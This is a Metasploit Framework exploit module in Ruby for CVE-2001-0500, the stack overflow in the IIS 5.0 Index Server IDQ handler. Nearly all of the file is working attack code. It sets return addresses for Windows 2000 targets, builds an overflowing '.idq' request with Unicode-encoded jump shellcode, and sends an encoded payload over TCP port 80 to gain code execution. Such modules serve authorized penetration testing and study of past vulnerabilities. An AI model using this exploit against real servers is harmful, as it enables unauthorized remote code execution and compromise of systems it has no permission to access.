##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Microsoft IIS 5.0 IDQ Path Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the IDQ ISAPI handler for
        Microsoft Index Server.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2001-0500'],
          [ 'OSVDB', '568'],
          [ 'MSB', 'MS01-033'],
          [ 'BID', '2880'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },

      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
        
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'Windows 2000 Pro English SP0',     { 'Ret' => '0x6e8f3e24' } ],
          [ 'Windows 2000 Pro English SP1-SP2', { 'Ret' => '0x6e8f8cc4' } ],
        ],
      'DisclosureDate' => 'June 18 2001',
      'DefaultTarget' => 0))
      
      register_options([Opt::RPORT(80)], self.class)
  
  end

  def exploit
    connect

    sploit =  rand_text_alphanumeric(1) + ".idq?" + rand_text_alphanumeric(232)
    sploit << "%u06eb.%u" + target.ret[-4, 4] + "%u" + target.ret[-8, 4] 
    sploit << ".%uC033%uB866%u031F%u0340%u8BD8%u8B03%u6840%uDB33%u30B3%uC303%uE0FF=" 
    sploit << rand_text_alphanumeric(1) + " HTTP/1.0\r\n\r\n" + rand_text_alphanumeric(46)

    uri = '/' + sploit + payload.encoded 

    res = "GET #{uri}\r\n\r\n"

    print_status("Trying target #{target.name}...")

    sock.put(res)
    
    handler
    disconnect
  end

end